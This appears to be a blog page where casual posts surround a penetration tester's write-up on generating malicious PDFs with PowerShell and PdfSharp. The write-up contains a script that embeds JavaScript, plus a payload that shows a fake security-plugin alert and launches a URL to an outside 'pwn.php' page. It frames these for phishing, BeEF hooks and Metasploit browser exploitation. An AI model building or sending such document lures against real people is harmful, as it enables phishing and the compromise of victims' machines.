wikipedia has half the story.
I’ll update this while I’m on holiday – April 2017.
+ | shew |
Happy New Year + Happy Groundhog Day. You would be surprised how many *ahem* younger people do not know what I’m referring to when I say “alarm clock scene – Bill Murray Groundhog Day” ahhhh … and you guys can now “just Google it” on YouTube for instant gratification and add to your knowledge base category and tags – the cult epic movies that are referenced in other movies. Circa 1993+ I had to record it on a VHS if I wanted to watch that scene again (and worse yet, only on a tube television – what mobile smart phone?!)
Yes. I do wake up at 6am. Groundhog Day can be classified as a real life documentary, right?
+ | shew |
When trying to solve a problem, I try to use PowerShell.
During a recent penetration test, I wanted to upload malicious DOC, XLS, and PDF files. I looked around my favorite exploit frameworks:
Metasploit | http://www.metasploit.com
Nishang | https://github.com/samratashok/nishang
Exploit-db | http://www.exploit-db.com/
Core IMPACT | http://www.coresecurity.com/core-impact-pro
Social Engineer Toolkit | https://github.com/trustedsec/social-engineer-toolkit
After some searching, I found Didier’s Steven’s work, realizing I should have looked there first. Didier has PDFid.py for summary analysis and mPDF.py to build it. I wanted to go the PowerShell route, however; all I could find is PDFSharp used for PowerShell print-to-PDF examples. I was surprised that nobody has published something similar to this.
A preliminary test script using the ideas above:
[string]$js = “app.alert(‘boom goes the reader ‘+app.reader);”,
[string]$msg = “Hello JS”,
[string]$filename = “C:\PDF\helloJS.pdf”
Add-Type -Path C:\pdf\PdfSharp-WPF.dll
$doc = New-Object PdfSharp.Pdf.PdfDocument
$doc.Info.Title = $js
$doc.info.Creator = “@jimshew”
$page = $doc.AddPage()
$dictjs = New-Object PdfSharp.Pdf.PdfDictionary
$dictjs.Elements[“/JS”] = New-Object PdfSharp.Pdf.PdfStringObject($doc, $js);
$dict = New-Object PdfSharp.Pdf.PdfDictionary
$pdfarray = New-Object PdfSharp.Pdf.PdfArray
$embeddedstring = New-Object PdfSharp.Pdf.PdfString(“EmbeddedJS”)
$dict.Elements[“/Names”] = $pdfarray
$dictgroup = New-Object PdfSharp.Pdf.PdfDictionary
$doc.Internals.Catalog.Elements[“/Names”] = $dictgroup
On open of the PDF (modern reader with no settings changes ):
Great, now we can taunt the victim, but what about something more interesting, like making external requests?
$js = “app.alert(‘Security Plugin Missing, Launching installer’);app.LaunchURL(‘http://bluenotch.com/pwn.php’,true);”
$msg = “Security Plugin FAIL”,
$filename = “C:\PDF\helloHTTP.pdf”
So it’s easy to see how we can leverage this in a phishing or social engineering attack. In one of the recent assessments, the web portal that housed the PDFs was whitelisted so it didn’t even prompt for the URL redirect! Now it’s ripe for a Browser Exploitation Framework (BeEF) hook or Metasploit browser autopwn.
I’m still exploring the modern PDF functionality to build creative payloads that work on modern readers. One of those features is the form submit functionality, used by the sample webug-reader.pdf in Origami (see work by Frédérick Raynal and Guillaume Delugré below).
I’ll be turning this into a proper PowerShell module soon, (assuming my battery holds out during the next series of flights). For more info along PDF hijinks, you may want to check out:
Origami – a framework for generating malicious PDFs:
Online PDF analyzer:
You probably want to check what app.launchURL destinations are already allowed, here is mine after checking the remember box on the HelloHTTP.pdf :
+ | jimshew |
NERD TALK requires more espresso. And since it’s late, ahem early am and we are up wrestling technical fun time warps, I’ll save my eloquent thoughts for the mid morning first jumpstart shot of caffeine. Thank you Sidecar, Stumptown, Rose Park, and even in the pinch, Starbucks for the assists.
+ | shew |
UPDATE 15.48 | A Nice SRP Circumventing Trick | During a recent penetration test, my goal was to smuggle data around out of a hardened virtual application. This particular test, included a vApp designed to restrict everything not needed to display and edit a Word document. Between Group Policy Objects and Software Restriction Policies, there were practically no third-party applications available to manipulate, and most Windows internal programs were either removed or hijacked by a Digital Rights Management DLL.